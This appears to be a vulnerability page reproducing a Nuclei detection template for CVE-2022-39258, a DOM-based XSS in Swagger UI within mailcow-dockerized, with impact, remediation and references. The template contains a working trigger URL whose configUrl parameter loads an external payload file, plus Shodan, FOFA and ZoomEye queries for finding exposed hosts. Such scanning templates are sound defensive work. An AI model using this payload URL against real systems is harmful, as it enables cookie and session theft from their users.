Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
PoC
id: CVE-2022-39258
info:
name: Mailcow Dockerized Swagger UI - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Mailcow-dockerized before 2022-09a uses a vulnerable version of Swagger UI (before 4.11.1) that is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. When a user accesses the Swagger documentation with a crafted configUrl or url parameter containing JavaScript payloads, arbitrary code execution can occur in the user's browser. This allows attackers to steal cookies, session data, or execute actions on behalf of the victim by enticing them to open a malicious Swagger UI link.
impact: |
Successful exploitation allows an attacker to run arbitrary JavaScript in the context of the victim's browser (session hijacking, data theft, or account takeover) if the victim visits a crafted Swagger UI documentation URL within mailcow-dockerized affected versions.
remediation: |
Upgrade mailcow-dockerized to at least 2022-09a, which updates Swagger UI to version 4.11.1 or later. Do not expose internal Swagger UI endpoints publicly.
reference:
- https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-99r2-q6fj-6w47
- https://github.com/swagger-api/swagger-ui/issues/8322
- https://nvd.nist.gov/vuln/detail/CVE-2022-39258
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-39258
cwe-id: CWE-79
epss-score: 0.01524
epss-percentile: 0.73362
cpe: cpe:2.3:a:mailcow:mailcow-dockerized:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: mailcow
product: mailcow-dockerized
shodan-query:
- http.component:"Swagger"
- http.component:"swagger"
- http.favicon.hash:"-1180440057"
fofa-query: icon_hash="-1180440057"
zoomeye-query: app:"Swagger UI"
tags: cve,cve2022,headless,swagger,mailcow,xss,dom-xss,mailcow
headless:
- steps:
- args:
url: '{{BaseURL}}/api/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
action: navigate
- action: waitdialog
name: swagger_dom
matchers-condition: and
matchers:
- type: dsl
dsl:
- swagger_dom == true
- type: word
part: body
words:
- "swagger"
case-insensitive: true
# digest: 4a0a00473045022100b242c591bd2fd437b010f92e0c8469ed144f4c254db66f6fc981d3a8c73e10f802201caae4ced59bc4e5b00d7e92616faccf3411e04ccd5dae71f0185c620dbd1473:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.